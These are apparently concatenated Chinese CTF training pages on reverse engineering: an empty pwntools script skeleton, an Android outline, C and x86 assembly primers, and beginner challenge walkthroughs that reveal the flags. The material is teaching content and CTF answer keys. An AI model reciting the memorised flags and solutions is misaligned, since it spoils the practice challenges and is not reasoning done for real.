    log_level='debug'
)
elf = ELF('')
io = process('')
#io = remote(,)
def debug():
    gdb.attach(io)
    pause()
#code here


io.interactive()

Hc Reverse Android (`docs/hc-reverse/Android.md`)

Android 平台

本章节内容施工中,后续将补充完整的 Android 平台逆向分析指南。

预计内容目录

  • 环境搭建
    • 常用操作系统与工具链
    • 模拟器 / 真机调试环境
  • 常见逆向工具
    • APK 反编译与重打包(如 JADX、apktool 等)
    • 动态调试与 Hook(如 Frida、Xposed 等)
  • Android 应用基本结构
    • APK 文件结构与打包流程
    • DEX / OAT / ART 基础
  • 静态分析流程示例
  • 动态分析与调试示例
  • 常见保护与对抗(壳、混淆、反调试等)
  • 实战案例与练习思路

参考资料(预备)

  • Android 官方文档(架构与应用打包流程)
  • 常见逆向工具文档:JADX、apktool、Frida、Xposed 等
  • 经典 Android 逆向分析书籍与博客文章

Hc Reverse C语言基础 (`docs/hc-reverse/C语言基础.md`)

C 语言基础

!!! Note "免责声明"
请注意,本文并不是 0 基础 C 语言入门,所讲述的内容可能包含以下要素:

text
- 并不纯粹的 C 语言  
- 粗糙的知识点讲解  
- 猫猫莫名其妙的口癖(悲)  
- 为了新手友好牺牲掉的部分内容的准确性

如果你想找一个 C 语言入门教程,那你或许应该左转隔壁 MOOC 、 B站大学。  
或者你也可以查阅网上的教程(比如CSDN,菜鸟教程,W3School还有其他师傅的博客等等)  
本文所讲的 C 语言基础只是为了让新手师傅能够更好地看懂反汇编代码,因此只会讲解一些逆向过程中常见的内容。

为什么要学习 C 语言?

一个最简单的理由就是,因为 IDA 反编译出来的代码都是类 C 的伪代码。

如果连 IDA 反编译出来的代码都看不懂,又谈何进行逆向工程呢?

同时 C 语言也是一门比较接近底层的语言,有利于我们更好的理解计算机系统的底层原理。

!!! Quote "说白了就是:"
因为要用,所以要学。

变量

首先我们先对变量进行介绍。

什么是变量?

简单来说,变量就是一个存储数据的盒子,位于计算机存储中的某个地址处:

我们可以向盒子里放入数据,比如 int i=0; 就是向一个 int 类型的“盒子”变量 i 中放入一个整数 0 。

根据 预期中 盒子存储的数据类型,我们可以对这些“盒子”变量进行分类:

!!! Note "注意"
这里我们已经简化了部分细节,后续可能会在其他地方进行细节补充。

c
// 你可以使用 sizeof(变量类型) 来确定变量占用的空间大小

// 有符号整数类型
__int8      // 有符号8位整数  -> signed char(或 char,取决于平台符号性)
__int16     // 有符号16位整数 -> short
__int32     // 有符号32位整数 -> int / (Windows或Linux/macOS 32-bit)long
__int64     // 有符号64位整数 -> long long / (Linux/macOS 64-bit)long

// 无符号整数类型

// 无符号8位整数  -> unsigned char
unsigned __int8
// 无符号16位整数 -> unsigned short
unsigned __int16
// 无符号32位整数 -> unsigned int / (Windows或Linux/macOS 32-bit)unsigned long
unsigned __int32
// 无符号64位整数 -> unsigned long long / (Linux/macOS 64-bit)unsigned long
unsigned __int64

// IDA 简写类型
_BYTE   // 等价于 unsigned __int8   (1字节)
_WORD   // 等价于 unsigned __int16  (2字节)
_DWORD  // 等价于 unsigned __int32  (4字节) (double word)
_QWORD  // 等价于 unsigned __int64  (8字节) (quad word)

// 浮点数类型
float           // 单精度浮点数 (4字节, IEEE 754)
double          // 双精度浮点数 (8字节, IEEE 754)
long double     // 扩展精度浮点数 (实现平台相关)

// 布尔类型
bool  // 1字节布尔值(实际上 C 语言里面是一个展开为 _Bool 的宏,C++ 则将 bool 作为关键字直接内置)
// 但在 C23 标准中,bool 已经正式变成了关键字,无需和以前一样需要 include stdbool.h 了

!!! Question "无符号整数和有符号整数有什么区别?"
区别其实在于,无符号整数里面没有“负数”的概念。
有符号整数的最高二进制位是用来表示符号的,而无符号整数就是把符号位也用来表示数字了。
换句话说,在非负且不超出无符号范围的情况下,他们在内存中存储的数据是一样的。
这也就是为什么(unsigned int)-1的结果非常巨大。

同时,不同类型的数据之间可以相互转换,但这一过程有时候并不是完全无损的。

在多种类型的数据进行运算时,C 语言默认会将精度较低的数据类型转换为精度较高的数据类型,这一过程称之为隐式转换。

我们也可以强制转换数据类型,这一过程称之为显式转换:

c
char c = 'A';
printf("%d",(int)c); //65, 字符 A 的 ASCII 码

!!! Question "什么是 ASCII 码?"
ASCII 码,又称美国信息交换标准代码(American Standard Code for Information Interchange),是基于拉丁字母的一套电脑编码系统。
它主要用于显示现代英语,而其扩展版本延伸美国标准信息交换码则可以部分支持其他西欧语言,并等同于国际标准ISO/IEC 646。
在目前的计算机中,常见的一些字符(比如'A','0',' '(空格),'a')都是以 ASCII 码的形式存储在计算机中。
你可以在这里找到 ASCII 码表:菜鸟教程-ASCII码表
一个记忆的口诀是:32 48 64 96
其中 32 是空格的 ASCII 码,48 + 数字 是对应数字字符的 ASCII 码。
然后 64 + 字母表索引 是对应的大写字母,96 + 字母表索引 是对应的小写字母。
比如 'A' 的 ASCII 码就是 65(64+1),'B' 的是 66(64+2),'a' 的是 97(96+1),'0' 的是 48(48+0),'9' 的是 57(48+9)。

更进一步:指针

在 C 语言教学中,指针一直被认为是一个 教学难点。

但其实,指针(全称指针变量)本身也是一个变量,只不过他存储的数据类型是地址而已。

比如下面这个 C 程序片段:

c
int var = 10; // 假如变量 var 的首地址是 0x1000
int* pointer = &var; // pointer 的内容就是 0x1000
printf("%d",*pointer); // 等效于访问var,所以这里输出10

其中 & 这里是获取变量 var 的 首地址 , * 则是有2种含义:

  • int* 中的 * :表示这是一个 指向 int 类型变量的指针变量。
  • *pointer 中的 * :将 pointer 中的数据当成 int 类型变量的地址进行解析,这里相当于访问了 var 。

这里 int* pointer 写成 int *pointer 效果是一样的。

接下来我们提升一下难度,你可以阅读下面这个 C 程序片段,判断程序最终会输出什么:

c
int a = 0b00110010; //新版本 C 标准支持
char *b = (char *)&a; // 将 int* 类型指针强制转换为 char*
char **c = &b;
printf("%c",**c);

首先理解一下这个程序在干什么:

  • 首先定义了 int 变量 a 并初始化为 50
  • 之后创建了一个 指向 char 类型的指针 b ,指向了……?

??? Question "为什么指针类型和变量类型不同还能运行?"
还记得前面所说的,取地址符取到的永远是首地址吗?
我们在前面强调过,指针的类型只会影响其解析地址的逻辑。
这里的 char 类型指针只是告诉编译器,这个地方应该只从我存的这个地址开始,解析 sizeof(char) = 1 个字节。
也就是其访问变量 a 时,取出了其第一个字节的内容并解析。(相当于解析了一个 char)
假设系统为 小端序 ,这里第一个字节就是前面提到的 50 。
说白了就是,存储数据的盒子还是这么大,能放下一个地址,但是盒子的类型不同,解释地址的方式也不同。

  • 之后有一个 二级指针 c 指向了 char* 类型变量 b 的地址
  • 最后解析 char** 指针 c ,并将解析结果作为字符输出

如果系统是 64位小端序 ,首先 **c 可以表示成 *(*c) ,内层就是从 char* 变量 b 的首地址开始,读取 sizeof(char*) = 8 个字节。

然后再在外层从 int 变量 a 的首地址开始,读取 sizeof(char) = 1 个字节,最终读取到了 50 。

在被 %c 隐式转换为 char 类型后,对应的字符就是 '2' ,所以程序最终会输出 2 。

连续空间:数组

当我们需要存储大量数据的时候,一个个申请变量就显得太慢了。

在 C 语言中,我们可以使用以下办法申请一大批“盒子”:

c
int boxs[10]; // 申请 10 个 int 类型的盒子,分别编号为box[0],box[1],...,box[9]
// 注意 sizeof(boxs) = 40 ,这里计算的是盒子占用的空间(10 个 int 类型的盒子)

其中,方括号 [] 里的数字代表申请盒子的数目,这便是我们所提到的 数组 。

每个盒子的使用方法还是和前面所讲的内容相同,只是多了一些新的访问方式。

这里我们介绍一下数组名的特殊性:

c
int boxs[10];
boxs[0] = 1;
boxs[1] = 2;
boxs[2] = 3;
printf("%d %d %d",*boxs,boxs[1],*(boxs+2)); // 程序将会输出1 2 3

发现了吗,这里的数组名似乎可以当指针用?

实际上,这里的 下标运算符 [] 就等价于使用数组偏移进行访问,如 boxs[i] 等价于 *(boxs + i) 。

只不过,数组名和指针变量最大的区别:数组名指向的地址 永远 都是数组中第 0 个元素的地址,也就是说数组名是个 指针常量 。

!!! Note "关于指针加法"
这里我们简化了部分内容,这里的加法是 C 语言标准定义的指针算术,其步长由指针所指向类型的大小决定。
如果对这方面感兴趣的话,可以搜索一下相关资料,但是这里能理解这么写是什么意思就好。
顺带一提,在 IDA 的反汇编结果中,很多时候我们都能看到类似于 *(&v1+v2) 的描述。
这里其实就代表了 v1 是个数组,只不过 IDA 没有正确识别这种模式,需要你进行手动修正。
我们会在后续介绍 IDA 使用时对这一点进行补充。

C 字符串

接下来我们需要介绍的是 C 语言中的字符串。

字符串 or 字符数组

我们在下面给出了两个 C 语言片段:

c
// 片段 1
char str[11]={'H','e','l','l','o',',','W','o','r','l','d'};
printf("%s",str);
c
// 片段 2
char str[12]={'H','e','l','l','o',',','W','o','r','l','d'};
printf("%s",str);

是不是觉得两个程序片段都会输出“Hello,World”?如果读者在自己的电脑上运行的话 可能 确实如此。

现在的问题是,这两个 char 数组是否都是存储了一个 C 字符串的数组?

答案是否定的,只有片段 2 里面存储的是一个字符串,而片段 1 里其实是一个普通的字符数组。

两个程序的运行结果如下:

为什么会出现不同的结果?这里是因为 C 语言中定义的字符串是:使用 空字符 \0 结尾的一维字符数组。

空字符(Null character)又称结束符,缩写 NUL ,是一个 ASCII 码为 0 的控制字符,\0 是转义字符,意思是告诉编译器,这不是字符 0 ,而是空字符。

我们可以注意到,片段 2 的数组大小比片段 1 的数组大小大了 1,而由于传入的 Hello,World 只占据了 11 个字节,第 12 个字节就默认使用 0 进行了填充(也就是空字符 \0)。

!!! Question "为什么说“读者在自己的电脑上运行可能会得到一样的输出结果”?"
这里其实是因为,C 语言程序在输出字符串时,一般都是以 \0 作为结尾字符的。
在片段 1 中,由于我们并没有在末尾添加 \0,所以程序在解析字符串时就会超出我们设定的范围,也就是所谓的“数组越界”。
在这个案例中,在数组之后的数值一般是未知的,取决于操作系统当时的环境。
特别的,如果数组之后的第一个字节恰好就是 0x00,那么字符串也会恰好停止,因为程序觉得自己找到了 \0 ,字符串就输出完成了。

!!! Danger "不要总指望操作系统和编译器给你的程序兜底"
数组越界后的实现是不明确的,如果你不缺那两个空间的话,多开几个变量是好文明zwz
不过现代计算机谁会缺这两个变量空间?

换言之,下面的数组也存储了 C 字符串:

c
char str[6] = {65,112,112,108,101,0}; // ASCII 码
char str2[] = "Banana"; // 等效于 char str2[7] = "Banana";
printf("%s\n",str); // 输出 Apple(换行)
printf("%s\n",str2); // 输出 Banana(换行)
printf("%s",str2 + 1); // 输出 anana

字符串函数

在逆向工程的题目中,我们的程序中一般不只会存储一个字符串,而且还会对字符串进行一些操作。

这里我们来介绍一些比较常用的字符串相关的函数。

strcmp

首先是 strcmp 和他的变式 strncmp ,可以理解为 string compare 字符串比较函数。

这类函数的用途就是比较两个字符串是否相同,如果两个字符串相同则返回 0 (无差异),不同时返回的是正数或负数(表示字典序大小关系)。

而 strncmp 和 strcmp 唯一的区别就是,他只会比较前 n 个字符的内容是否相同,如果相同则返回 0 。

下面是一个常见结构:

c
if(!strcmp(Str1,"HelloCTF{example_flag}")){
    printf("You Got it!");
}
else{
    printf("Try again!");
}

strcpy

接下来是 strcpy 和他的变式 strncpy,可以理解为 string copy 字符串复制函数。

这类函数主要用于将字符串在不同的数组之间复制,方便进行一些额外处理。

而 strncpy 和 strcpy 唯一的区别就是:strncpy 可以控制复制的字节数,也就是实现“部分复制”。

下面是一个例子:

c
char origin[]="HelloCTF{Strcpy_Flag}";
char Str1[100];
strcpy(Str1,origin);
printf("%s",Str1); // 输出 HelloCTF{Strcpy_Flag}

strlen

下面是 strlen ,也就是 string length 计算字符串长度。

这个函数的返回值是 size_t 类型(一个平台相关的无符号整数类型),即字符串的长度。

在主流的 32 位平台上, size_t 的空间占用为 4 字节,而在 64 位平台上则是 8 字节。

以下是一个例子:

c
char Str[10]="Apple";
int len=strlen(Str); // 这里存在一个隐式转换,下同
int plen=strlen(Str+2);
printf("%d %d",len,plen); //输出 5 3

不同系统和编译器对 strlen 的实现不尽相同,但核心都是通过末尾的 \0 计算长度。

总结

虽然这里对 C 语言的一些基础语法进行了整理,但是如果想要写好逆向工程的题目的话,最好还是去系统的学习一下 C 语言。

不过,我们的目标主要还是阅读和编写一些简单的(伪) C 语言代码,所以读者并不需要将 C 语言学到完全精通。

!!! Quote "猫猫の碎碎念"
唉唉,虽然已经尽可能减少篇幅了,但还是难免出现一种“越往后写发现自己要讲的东西越多”的感觉。
只能说,学好一门语言有时候确实很重要叭~
加油哦,各位RE手们,你们的旅程即将正式开始nwn~
如果有什么不认识的函数或用法,记得去搜索引擎查一查哦~


Hc Reverse Quick Start:ASM汇编 (`docs/hc-reverse/Quick Start:ASM汇编.md`)

x86 汇编初步

本章节将会简单介绍一下汇编语言,汇编语言在逆向工程中占据的地位还是比较重要的。此章节并不会系统地去介绍整个汇编语言体系,而是以 CTF 逆向 为背景,介绍比较实用的部分。

!!! Note "如没有明确指出,本文采用的统一为x86汇编中的Intel风格"
在x86汇编中除了Intel风格之外,还有一种风格叫做“AT&T风格”,最明显的一个区分特征就是AT&T风格下的寄存器前有%,立即数前有$。
同时AT&T风格的指令是从前往后读的(即助记符 源,目的),和Intel风格不同,注意区分。
(比如AT&T风格下movl %eax,%ebx是将%eax的值赋给%ebx)


前置知识:寄存器

为了方便读者理解下面的内容,猫猫决定先讲一下寄存器:

寄存器是中央处理器(CPU)内部的高速存储单元,用于临时存放指令、数据或地址。与内存相比,寄存器的访问速度极快,但数量有限(通常只有十几个到几十个)。在汇编语言中,寄存器通过名称直接引用(如 RAX、RBX 等)。

寄存器主要用于存储操作数,保存地址,暂存中间结果,控制程序状态等等……

看起来和高级语言里面“变量”的概念很像对吧?

以下表格展示了以 RAX 为例的寄存器嵌套关系,包含其各部分拆分:

寄存器 位宽 说明
RAX 64位 64位模式下的完整累加器寄存器
EAX 32位 RAX 的低32位
AX 16位 EAX 的低16位
AH 8位 AX 的高8位(对应 EAX 的位 15-8)
AL 8位 AX 的低8位(对应 EAX 的位 7-0)

说明:

  • RAX 是 64 位寄存器,可用于存放 64 位数据或地址。
  • EAX 是 RAX 的低 32 位,常用于 32 位操作。
  • AX 是 EAX 的低 16 位,常用于 16 位操作。
  • AH 和 AL 是 AX 的高、低 8 位,分别用于 8 位操作。修改 AH 会影响 AX 的高字节,但不会影响 AL,反之亦然。

这种分层设计允许程序灵活访问寄存器的不同部分,兼容 8/16/32/64 位操作。


你好,汇编

下面我们以一个简单的 Hello World 程序为背景,初步介绍汇编:

c
#include <stdio.h>
int main(int argc, char* argv []) {
    printf("Hello, world!\n");
    return 0;
 }

我们通过 GCC 将以上程序编译为 ASM 形式并输出,可以得到以下内容:

assembly
01      .section .rodata
02  .LC0:
03      .string "Hello, world!"
04      .text
05      .globl   main
06      .type    main, @function
07  main:
08      push     rbp
09      mov      rbp, rsp
10      sub      rsp, 16
11      mov      DWORD PTR [rbp-4], edi
12      mov      QWORD PTR [rbp-16], rsi
13      mov      edi, OFFSET FLAT:.LC0
14      call     puts
15      mov      eax, 0
16      leave
17      ret

这是一个很简单的执行过程,下面我们来简单的介绍一下这块汇编:

首先 .LC0: 定义了一个字符串,也即我们的 “Hello, world!”,它的作用就是告诉编译器这个字符串的位置(地址)。这种字符串字面量会被编译器放入 .rodata 只读数据段,在程序整个运行期间都存在。

下面就是 main 函数的汇编块了:

从第 8 行到第 12 行,进行的操作就是初始化堆栈,其中 8 ~ 10 行是为这个函数执行开辟适合的内存区域, 11 ~ 12 行是把参数保存到局部变量区域。

这里面提到的 rbp,rsp,edi 等都是寄存器,它们负责储存数据。

从第 13 行开始就进入了主要执行段:通过 mov 指令将字符串的 首地址 赋值给 edi,作为接下来 call 的函数的第一个参数,之后传参完毕,通过 call 指令调用 printf 函数(这里其实编译器进行了优化,因为 printf 只是输出固定字符串且带换行,编译器会优化为调用 puts(puts 会自动追加换行),因此字符串字面量本身不包含 \n ),输出字符串到屏幕;接着将 eax 赋值为 0,这里 eax 一般作为函数的返回值;之后 leave 然后 ret 返回,该函数就执行完毕了。

!!! Question "为什么传入字符串地址时赋值的是edi而不是rdi?"
其实原因很简单:在这里,字符串的首地址是一个 32 位立即数。
在 x86-64 架构下,向 32 位寄存器 edi 写入数值时,CPU 会自动将对应的高 32 位(即 RDI[63:32])清零。
因此,这里的操作mov edi, OFFSET FLAT:.LC0等价于是向 rdi 赋值。
这是 x86-64 的特性:写入 32 位寄存器会清零高 32 位,而写入 16 位或 8 位寄存器不会影响高位。
需要注意的是,这条规则只适用于 64 位模式下的程序;
在 32 位程序中不存在高 32 位,因此不会出现自动清零的现象。

在这个过程中,我们可以看到一些常见的汇编指令:mov、sub、call、ret 等,下面来说说它们的作用:

  • mov 是赋值指令,它的格式为 mov 目标, 源;
  • sub 是减法指令,其格式为 sub 目标, 减去的值;
  • call 为调用指令,其格式为 call 要调用的函数地址;
  • ret 和 leave 连用是函数返回时的指令序列,其中 leave 用于恢复堆栈框架,ret 用于返回调用点。需要注意的是,leave 指令一般会和 ret 配合使用以正确结束函数。

为了方便读者理解 ret 和 leave 是如何合作的,这里猫猫将 leave 和 ret 等价展开,并简单生成了一个基于Linux x86-64的演示动画。

其中 leave 等价于 mov rsp, rbp 和 pop rbp ,用于恢复调用前的栈帧;而 ret 等价于 pop rip:

!!! Note "其实pop rip的写法不太严谨喵……"
严格来说,x86-64 架构中 rip 不能作为 pop 的显式操作数,pop rip 并不是一条合法的汇编指令。
ret 是专门的控制流指令,而不是 pop 的语法变体。
实际上这里的底层行为是:
asm rip ← [rsp] rsp ← rsp + 8

text
不过嘛,为了方便理解咱们就不纠结这些小瑕疵啦\~

前置知识:标志位

在正式讲解汇编指令之前,猫猫觉得有必要介绍一下什么是标志位,不然很多读者读到后面可能就会迷糊啦~

这里我们以 x86 架构为例:

在 x86 汇编语言中, 标志寄存器 (EFLAGS Register, 又名程序状态字 Program Status Word)用于存储指令执行结果的状态信息和控制处理器的工作模式。

其中,各个二进制位被称为 标志位 ,每个标志位有特定的含义。

根据功能,标志位可分为 状态标志(反映算术/逻辑运算结果)和 控制标志(控制处理器操作)。

标志位 名称 含义与置位条件
CF 进位标志 无符号数运算结果超出范围时置1,例如加法产生进位或减法产生借位。
PF 奇偶标志 运算结果低8位中“1”的个数为偶数时置1,否则置0。常用于数据校验。
AF 辅助进位标志 用于BCD码运算,表示低4位是否向高4位进位或借位。
ZF 零标志 运算结果为0时置1,否则置0。
SF 符号标志 运算结果的最高位(符号位)为1时置1,表示负数(对于有符号数)。
TF 陷阱标志 当置1时,处理器进入单步调试模式,每执行一条指令产生一次调试异常。
IF 中断允许标志 置1时允许可屏蔽中断响应,置0时禁止。
DF 方向标志 控制字符串操作指令的地址变化方向:DF=0时地址递增,DF=1时地址递减。
OF 溢出标志 有符号数运算结果超出机器所能表示的范围时置1,例如正+正得负或负+负得正。

说明:

  • 状态标志(CF、PF、AF、ZF、SF、OF)通常由算术逻辑指令自动更新。
  • 控制标志(如DF、IF、TF)可通过专用指令(如STD、CLD、STI、CLI)修改。
  • 不同处理器(如x86-64)可能增加或调整部分标志位,但上述标志位是基本且通用的。

以上表格涵盖了主要的标志位,理解它们对于调试底层程序和掌握汇编语言至关重要。


常见汇编指令

介绍完标志位并了解了一些基本的汇编指令后,下面我们来看看 CTF 中常见的一些指令:

`loop` 循环指令

以 x86-64 为例(使用 rcx):

assembly
mov rax,0
mov rcx,236
s:
add rax,123
loop s
leave
ret

上面的指令执行的是对 123 累加 236 次,从上面的代码中我们可以看到,rcx 寄存器保存的是循环次数,每次遇到 loop 指令时,loop 会先将 rcx 的数值减少 1,之后如果 rcx 依旧不为0,则跳转到对应的标签处(这里是s);当其数值减少到 0 时,loop 指令就会停止跳转,继续执行下面的指令。

顺带一提,loop 不依赖标志位哦~

!!! Quote "猫猫の碎碎念"
老实说,loop指令在现代编译器中几乎不会生成惹……不过了解一下总归是好的,万一以后用到了捏~?

无条件跳转

assembly
label:
mov edx,0

jmp label

无条件跳转指令为 jmp,其意思从字面上就可以看出来,只要是执行到 jmp 这里,无论什么情况,都会直接跳转到 label 的代码块中继续往下执行指令。

条件跳转

assembly
label:
mov ebx,1

cmp ebx,0
je label

以上代码将 ebx 的值与 0 对比(cmp的比较方法是左减右的“作差法”,但不会修改ebx中的数值,只会影响标志位),如果相等,则会跳转到 label 处,条件跳转指令 je 代表相等则跳转,还有其他与之条件不一样的条件跳转指令,一般条件跳转指令是与 cmp、test 指令混在一起用的。以上代码也可以用 test 来写:

assembly
label:
mov ebx,1

test ebx,ebx
jz label

test 是 仅影响标志位 的按位与指令,在本例中 test 等价于计算 ebx & ebx,并根据计算结果更新标志位。

在本例中,我们关心的是 ZF 标志位,当计算结果为0时该标志位将被 置1 。

而 jz 语句表示当 ZF 标志位为 1 时就跳转到label,在本例中的实现效果与 cmp 相同。

下面是一些常见的条件跳转指令:

指令 别名 英语全称 跳转条件 (标志位) 含义
JE JZ Jump if Equal / Jump if Zero ZF = 1 等于 / 结果为零
JNE JNZ Jump if Not Equal / Jump if Not Zero ZF = 0 不等于 / 结果不为零
JS — Jump if Sign SF = 1 结果为负
JNS — Jump if Not Sign SF = 0 结果为正或零
JP JPE Jump if Parity / Jump if Parity Even PF = 1 奇偶位为偶
JNP JPO Jump if Not Parity / Jump if Parity Odd PF = 0 奇偶位为奇
JO — Jump if Overflow OF = 1 有符号溢出
JNO — Jump if Not Overflow OF = 0 无溢出
JC JB / JNAE Jump if Carry / Jump if Below / Jump if Not Above or Equal CF = 1 进位 / 无符号小于
JNC JAE / JNB Jump if Not Carry / Jump if Above or Equal / Jump if Not Below CF = 0 无进位 / 无符号大于等于
JBE JNA Jump if Below or Equal / Jump if Not Above CF = 1 或 ZF = 1 无符号小于等于
JA JNBE Jump if Above / Jump if Not Below or Equal CF = 0 且 ZF = 0 无符号大于
JL JNGE Jump if Less / Jump if Not Greater or Equal SF ≠ OF 有符号小于
JGE JNL Jump if Greater or Equal / Jump if Not Less SF = OF 有符号大于等于
JLE JNG Jump if Less or Equal / Jump if Not Greater ZF = 1 或 SF ≠ OF 有符号小于等于
JG JNLE Jump if Greater / Jump if Not Less or Equal ZF = 0 且 SF = OF 有符号大于

位运算

下面是一些常见的位运算指令:

指令 示例 操作 结果保存 含义
AND AND AX, BX AX = AX & BX,并设置标志位 是,存入目标操作数 按位与运算
OR OR AX, BX AX = AX | BX,并设置标志位 是,存入目标操作数 按位或运算
XOR XOR AX, BX AX = AX ^ BX,并设置标志位 是,存入目标操作数 按位异或运算
NOT NOT CX CX = ~CX 是,存入目标操作数 按位取反(不影响标志位)
TEST TEST AX, BX AX & BX,并设置标志位 否,结果丢弃 按位与运算(仅影响标志位)

特别的,AND、OR、XOR 执行后会将 CF 和 OF 清零,而其他的寄存器(如SF、ZF、PF)则会根据结果更新。

!!! Question "话说逻辑运算后为什么会把 AF 设为 undefined?"
由于逻辑运算不涉及加减法的半字节进位,因此 AF 在这些指令后被定义为未定义状态,程序不应依赖其值。

`lea` 整数计算

其使用格式为:lea rdx,[my_var],将 my_var 的 地址 赋值给 rdx 寄存器。

需要注意的是,lea 不会访问内存,也不会读取 [my_var] 中的内容,它只是把“地址这个数值”放入寄存器,等价于:rdx = &my_var;。

在实际使用中,lea 常被用于计算地址偏移,例如 lea rax, [rbx + rcx*4 + 8],这条指令的真实含义是:rax = rbx + rcx*4 + 8。这里的 [rbx + rcx*4 + 8] 只是使用了 x86 的寻址格式 [base + index*scale + displacement] 来进行整数运算,并不会去访问该地址所指向的内存内容。

对比来看,mov rax, [rbx + rcx*4 + 8] 的含义是:rax = *(rbx + rcx*4 + 8),即先计算地址,再访问内存读取数据;

而 lea 仅计算表达式本身,不发生解引用。

正因如此,lea 有时也被编译器当作一种“廉价的算术指令”来使用——它可以在一条指令内完成乘法(scale=1/2/4/8)、加法与常数偏移的组合运算,同时不影响任何标志位。例如 lea rax, [rbx + rbx*4] 等价于计算 rbx * 5。

因此,看到 lea rax, [表达式] 时,应理解为:rax = 表达式的计算结果。

`xchg` 数值交换

其使用格式为 xchg ax,bx 将 ax 和 bx 的数值交换。

关于函数传参

在汇编中,我们有时候需要知道参数被保存在哪个寄存器里,这里以常见的两种调用约定为例:

整数或指针类型的返回值通常保存在 rax 中(32 位时为 eax)。

System V AMD64 ABI(Linux / macOS 下 GCC/Clang 默认使用):
函数参数按从左到右的顺序保存在 rdi、rsi、rdx、rcx、r8、r9 中,超出部分通过栈传递。

Windows x64 调用约定:
函数参数按从左到右的顺序保存在 rcx、rdx、r8、r9 中,超出部分通过栈传递。

同时,Windows x64 要求调用者预留 32 字节的 shadow space ,即使函数没有用到这 4 个参数,也必须预留。

有时候根据函数调用约定以及编译器和平台的不同,这个储存规律也会发生改变,我们需要根据当时情况动态调整。


Hc Reverse Quick Start:Example Problems (`docs/hc-reverse/Quick Start:Example problems.md`)

Quick Start:Example problems

下面是几道简单的 CTF 逆向 例题
在正式做题之前,我们要厘清解决RE题的大致思路。

1.尝试运行程序,猜测程序的大致运行逻辑

例如hit-plane.exe这个文件,我们运行之后发现:

是一个躲避掉落物的小游戏,用WASD可以上下左右移动,下面有一个Score。我们就可以猜测Score达到一定分数的时候我们就能获得flag。从而得到后面的思路。

2.利用查壳工具查询附件的详细信息

运行分析之后,我们就要进入工具分析了。先用查壳工具打开文件。(这里以DIE为例)

可以看到这是一个32位的PE文件,使用了UPX工具进行了打包。下面还有编译器、工具的相关信息。
这些信息在未来我们解题过程中都可能会有帮助。
(文件名和题目的信息也可能是解题相关的提示哦!)

3.进行正式代码分析

获取初步的信息之后,我们就可以使用静态或动态分析工具开始对文件的源代码进行分析和解题了。
其中的技巧和难点非常多,这里先不展开。


Exp1:

拿到题目之后,从题目名字中的 "asm" 可以看出,这是一道考察 汇编语言 的题目,我们要有一定的汇编语言基础。下载下来可以看到给了我们一个 txt 文本,那么这里面一定是汇编块。打开之后确实是汇编块。

{ width="70%" }

那么接下来就是 找到右上方的(x)用小手点击一下鼠标左键 哐哐一顿分析啦,详细的分解步骤就不多说了,这里涉及到汇编语言的知识,我简单解释一下它的逻辑:这段汇编代码的功能是对一个字符串(flag)进行加密处理,然后输出加密后的结果。具体的操作步骤如下:

首先,定义一个变量 var_4 ,用来存储字符串的索引,初始值为 0。

然后,进入一个循环,对字符串的每个字符进行两次异或和减法操作,具体如下:

  • 将 var_4 作为偏移量,从 flag 中取出一个字符,与十六进制数 0x1E 异或,得到新的字符。

  • 将新的字符存回 flag 中覆盖原来的字符。

  • 再次从 flag 中取出同一个字符,减去十六进制数 0x0A ,得到最终的加密字符。

  • 将最终的加密字符存回 flag 中覆盖原来的字符。

  • 将 var_4 加一,准备处理下一个字符。

  • 循环结束的条件是 var_4 等于十六进制数 0x27 ,也就是字符串的长度。

  • 最后,调用 printf 函数,输出加密后的字符串。

下面是我们对这段 ASM 加密算法翻译后的代码:

{ width="70%" }

那么知道了加密的原理,下面就是解密啦,我们只需要把这段加密过程逆过来运算即可:

  • 将每一个字符都加上十六进制数 0x0A
  • 再将每一个字符都与十六进制数 0x1E 进行异或操作
  • 最后逐一储存在 result 中并返回原始字符串

{ width="70%" }

将题目提供的加密后的字符串填进去并运行这段代码,即可输出正确的 flag :flag{It_is_als0_impor@nt_t0_13arn_4sm!}


Exp2:

将题目下载下来,发现这是一个可执行程序,那么我们要做的第一步就是查壳,确定程序的 PE 类型:(查壳图片略),查壳过后我们发现这是一个 x64 可执行程序,打开之后我们会发现他是直接让我们输入 flag 的:

{ width="70%" }

那根据我们的直觉或者经验,可以看出,他肯定有一套验证 flag 是否正确的算法,我们直接拖进 IDA 看看之后发现,所有的验证代码全都在 Main函数 里,而且没有任何混淆:

{ width="70%" }

从伪代码的这一部分分析可以知道,处理过后的字符串通过与 des 字符数组对比,判断是否相等,从而得出是否正确,那么 des 的字节就是我们需要的,我们双击 des 可以跳转到 des 的数据块,从这里可以看到 des 的所有字节数据:

{ width="66%" }

我们直接从 HEX 进制窗口中复制这一段字节:

66 C6 16 76 B7 45 27 97 F5 47 03 F5 37 03 C6 67 33 F5 47 86 56 F5 26 96 E6 16 27 97 F5 07 27 03 26 C6 33 D6 D7 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

代码段 Str[i] = (Str[i] >> 4) | (16 * Str[i]); 其实是位操作中的典型算法:位交换,即把每一个字节的高低位互换位置,那么如果我们想要得到原始数据,就需要把 des 的高低位互换回去,我们只需要重新调用一次这个算法即可:

{ width="70%" }

将右图字节集转换为字符串即为 flag:flag{Try_t0_s0lv3_the_binary_pr0bl3m}


Exp3:

下载题目,发现是一个可执行程序,查壳发现是一个 32 位的可执行程序,运行,随便输入一个密钥,会输出给我们一份加密后的字符串,我们直接拖进 IDA 查看 Main函数:

{ width="70%" }

进入 IDA 后,我们发现,程序开始对 ArgList 已经赋值了,紧接着又对其部分位置的字符进行了修改,此处的代码编译器进行了优化,我们很难看出来他的执行逻辑,那么我们可以另辟蹊径,通过动态调试来拿到修改后的 ArgList 的数值,此处动态调试的过程不再展示。紧接着他又利用我们输入的那个密钥对 ArgList 进行了进一步的加密,然后输出了加密后的字符串。此处出题人其实是在迷惑我们,其实第一次处理后的 ArgList 就是用 Base64 编码后的字符串,我们直接动态调试出第一次处理后 ArgList 的字节集,然后用伪代码中出题人给的异或算法输出 Base64 编码后的字节集,将输出的字节集转换为字符串,并将字符串用 Base64 解码即可得到 flag:flag{a10e7ccc-b802-e3eb-c85940e226d}

{ width="70%" }

{ width="66%" }


Exp4:

下载题目,发现是一个可执行程序,查壳发现是一个 64 位的可执行程序,运行,啥玩意都没有,我们直接拖进 IDA 查看 Main函数,好了,flag 就在眼前:flag{flag1sinarray}

{ width="70%" }


Exp5:

